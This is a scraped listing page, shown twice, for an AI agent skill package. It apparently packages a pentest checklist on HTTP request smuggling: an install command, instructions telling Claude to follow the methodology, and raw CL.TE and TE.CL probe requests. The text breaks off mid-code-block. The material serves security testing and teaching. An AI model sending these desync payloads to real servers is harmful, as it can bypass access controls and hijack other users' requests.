offensive-request-smuggling

Name: offensive-request-smuggling
Author: SnailSploit

2.8kstars447forks

How to install offensive-request-smuggling?

snailsploit/claude-red/offensive-request-smuggling

$npx -y skills add SnailSploit/Claude-Red --skill offensive-request-smuggling

Installs into the current project.

Summary

When this skill is active: 1. Load and apply the full methodology below as your operational checklist 2. Follow steps in order unless the user specifies otherwise 3. For each technique, consider applicability to the current target/context 4. Track which checklist items have been

Files · 1

View on GitHub

SKILL.md

1	# SKILL: HTTP Request Smuggling
2
3	## Metadata
4	- Skill Name: request-smuggling
5	- Folder: offensive-request-smuggling
6	- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/req-smuggle.md
7
8	## Description
9	HTTP request smuggling checklist: CL.TE, TE.CL, TE.TE variants, detection with timing and differential responses, WAF bypass, cache poisoning, credential hijacking, and request smuggling via HTTP/2. Use when testing reverse proxy/load balancer configurations.
10
11	## Trigger Phrases
12	Use this skill when the conversation involves any of:
13	`request smuggling, HTTP smuggling, CL.TE, TE.CL, TE.TE, HTTP/2 smuggling, cache poisoning, WAF bypass, differential response, smuggling detection, proxy desync`
14
15	## Instructions for Claude
16
17	When this skill is active:
18	1. Load and apply the full methodology below as your operational checklist
19	2. Follow steps in order unless the user specifies otherwise
20	3. For each technique, consider applicability to the current target/context
21	4. Track which checklist items have been completed
22	5. Suggest next steps based on findings
23
24	---
25
26	## Full Methodology
27
28	# HTTP Request Smuggling
29
30	## Mechanisms
31
32	HTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to "smuggle" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.
33
34	```mermaid
35	graph TD
36	A[Client] -->\|HTTP Request\| B[Front-end Server]
37	B -->\|Interpreted Request\| C[Back-end Server]
38	B -->\|Different Interpretation\| D[Desynchronization]
39	D -->\|Smuggled Request\| C
40	D -->\|Security Bypass\| E[Unauthorized Access]
41	D -->\|Queue Poisoning\| F[Response Hijacking]
42	```
43
44	Request smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:
45
46	- Transfer-Encoding (TE) header: Indicates chunked encoding
47	- Content-Length (CL) header: Specifies the length of the message body
48	- Header parsing: Different handling of whitespace, newlines, and malformed headers
49
50	Common desynchronization scenarios include:
51
52	- CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding
53	- TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length
54	- TE.TE: Both servers use Transfer-Encoding but handle edge cases differently
55
56	HTTP/2/3 specific desync variants:
57
58	- H2.CL / H2.TE: Conflicts between HTTP/2 body length signaling and HTTP/1 backends during downgrade.
59	- H2C Upgrade: Cleartext HTTP/2 (h2c) upgrade paths mishandled by intermediaries.
60	- Authority/Host Confusion: `:authority` vs `Host` normalization inconsistencies under CDNs.
61
62	```mermaid
63	graph LR
64	subgraph "CL.TE Attack"
65	A1[Client] -->\|"POST / HTTP/1.1<br>Content-Length: 30<br>Transfer-Encoding: chunked<br><br>0<br><br>GET /admin HTTP/1.1<br>X-Ignore:"\| B1[Front-end]
66	B1 -->\|"Uses Content-Length: 30<br>Sees one complete request"\| C1[Back-end]
67	C1 -->\|"Uses Transfer-Encoding<br>Sees two requests:<br>1. POST /<br>2. GET /admin"\| D1[Smuggled Request Processed]
68	end
69	```
70
71	Modern variations include:
72
73	- H2.HTTP/1: HTTP/2 to HTTP/1 downgrades causing inconsistencies
74	- HTTP/1.H2: HTTP/1 to HTTP/2 transitions with different interpretations
75	- Timeout-based: Exploiting time differences in connection handling
76	- Method-based: Different interpretations of HTTP methods
77	- Header-based: Inconsistent header parsing between servers
78
79	## Hunt
80
81	### Identifying Vulnerable Applications
82
83	#### Architecture Reconnaissance
84
85	- Look for multi-server architectures with proxies, load balancers, or CDNs
86	- Identify systems using Nginx, HAProxy, Varnish, or Amazon ALB/CloudFront
87	- Check for HTTP/2 support with HTTP/1 backend compatibility
88
89	#### Basic Detection Tests
90
91	1. CL.TE Vulnerability Detection (Time Delay Example):
92
93	```http
94	POST / HTTP/1.1
95	Host: vulnerable-website.com
96	Transfer-Encoding: chunked
97	Content-Length: 4
98
99	1
100	A
101	X
102	```
103
104	Send this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.
105
106	2. TE.CL Vulnerability Detection (Time Delay Example):
107
108	```http
109	POST / HTTP/1.1
110	Host: vulnerable-website.com
111	Transfer-Encoding: chunked
112	Content-Length: 6
113
114	0
115
116	X
117	```
118
119	Send this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.
120
121	3. CL.TE Confirmation (Example):
122
123	```http
124	POST / HTTP/1.1
125	Host: your-lab-id.web-security-academy.net
126	Connection: keep-alive
127	Content-Type: application/x-www-form-urlencoded
128	Content-Length: 6
129	Transfer-Encoding: chunked
130
131	0
132
133	G
134	```
135
136	Send twice. The second response should indicate an unrecognized method like `GPOST`.
137
138	4. TE.CL Confirmation (Example):
139	(Ensure Burp's "Update Content-Length" is unchecked)
140
141	```ht

People who liked this also viewed

6 picks

Type

offensive-request-smuggling

2.8kstars447forks

View on GitHub

How to install offensive-request-smuggling?

snailsploit/claude-red/offensive-request-smuggling

$npx -y skills add SnailSploit/Claude-Red --skill offensive-request-smuggling

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: HTTP Request Smuggling
2
3	## Metadata
4	- Skill Name: request-smuggling
5	- Folder: offensive-request-smuggling
6	- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/req-smuggle.md
7
8	## Description
9	HTTP request smuggling checklist: CL.TE, TE.CL, TE.TE variants, detection with timing and differential responses, WAF bypass, cache poisoning, credential hijacking, and request smuggling via HTTP/2. Use when testing reverse proxy/load balancer configurations.
10
11	## Trigger Phrases
12	Use this skill when the conversation involves any of:
13	`request smuggling, HTTP smuggling, CL.TE, TE.CL, TE.TE, HTTP/2 smuggling, cache poisoning, WAF bypass, differential response, smuggling detection, proxy desync`
14
15	## Instructions for Claude
16
17	When this skill is active:
18	1. Load and apply the full methodology below as your operational checklist
19	2. Follow steps in order unless the user specifies otherwise
20	3. For each technique, consider applicability to the current target/context
21	4. Track which checklist items have been completed
22	5. Suggest next steps based on findings
23
24	---
25
26	## Full Methodology
27
28	# HTTP Request Smuggling
29
30	## Mechanisms
31
32	HTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to "smuggle" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.
33
34	```mermaid
35	graph TD
36	A[Client] -->\|HTTP Request\| B[Front-end Server]
37	B -->\|Interpreted Request\| C[Back-end Server]
38	B -->\|Different Interpretation\| D[Desynchronization]
39	D -->\|Smuggled Request\| C
40	D -->\|Security Bypass\| E[Unauthorized Access]
41	D -->\|Queue Poisoning\| F[Response Hijacking]
42	```
43
44	Request smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:
45
46	- Transfer-Encoding (TE) header: Indicates chunked encoding
47	- Content-Length (CL) header: Specifies the length of the message body
48	- Header parsing: Different handling of whitespace, newlines, and malformed headers
49
50	Common desynchronization scenarios include:
51
52	- CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding
53	- TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length
54	- TE.TE: Both servers use Transfer-Encoding but handle edge cases differently
55
56	HTTP/2/3 specific desync variants:
57
58	- H2.CL / H2.TE: Conflicts between HTTP/2 body length signaling and HTTP/1 backends during downgrade.
59	- H2C Upgrade: Cleartext HTTP/2 (h2c) upgrade paths mishandled by intermediaries.
60	- Authority/Host Confusion: `:authority` vs `Host` normalization inconsistencies under CDNs.
61
62	```mermaid
63	graph LR
64	subgraph "CL.TE Attack"
65	A1[Client] -->\|"POST / HTTP/1.1<br>Content-Length: 30<br>Transfer-Encoding: chunked<br><br>0<br><br>GET /admin HTTP/1.1<br>X-Ignore:"\| B1[Front-end]
66	B1 -->\|"Uses Content-Length: 30<br>Sees one complete request"\| C1[Back-end]
67	C1 -->\|"Uses Transfer-Encoding<br>Sees two requests:<br>1. POST /<br>2. GET /admin"\| D1[Smuggled Request Processed]
68	end
69	```
70
71	Modern variations include:
72
73	- H2.HTTP/1: HTTP/2 to HTTP/1 downgrades causing inconsistencies
74	- HTTP/1.H2: HTTP/1 to HTTP/2 transitions with different interpretations
75	- Timeout-based: Exploiting time differences in connection handling
76	- Method-based: Different interpretations of HTTP methods
77	- Header-based: Inconsistent header parsing between servers
78
79	## Hunt
80
81	### Identifying Vulnerable Applications
82
83	#### Architecture Reconnaissance
84
85	- Look for multi-server architectures with proxies, load balancers, or CDNs
86	- Identify systems using Nginx, HAProxy, Varnish, or Amazon ALB/CloudFront
87	- Check for HTTP/2 support with HTTP/1 backend compatibility
88
89	#### Basic Detection Tests
90
91	1. CL.TE Vulnerability Detection (Time Delay Example):
92
93	```http
94	POST / HTTP/1.1
95	Host: vulnerable-website.com
96	Transfer-Encoding: chunked
97	Content-Length: 4
98
99	1
100	A
101	X
102	```
103
104	Send this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.
105
106	2. TE.CL Vulnerability Detection (Time Delay Example):
107
108	```http
109	POST / HTTP/1.1
110	Host: vulnerable-website.com
111	Transfer-Encoding: chunked
112	Content-Length: 6
113
114	0
115
116	X
117	```
118
119	Send this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.
120
121	3. CL.TE Confirmation (Example):
122
123	```http
124	POST / HTTP/1.1
125	Host: your-lab-id.web-security-academy.net
126	Connection: keep-alive
127	Content-Type: application/x-www-form-urlencoded
128	Content-Length: 6
129	Transfer-Encoding: chunked
130
131	0
132
133	G
134	```
135
136	Send twice. The second response should indicate an unrecognized method like `GPOST`.
137
138	4. TE.CL Confirmation (Example):
139	(Ensure Burp's "Update Content-Length" is unchecked)
140
141	```ht

People who liked this also viewed

6 picks

Type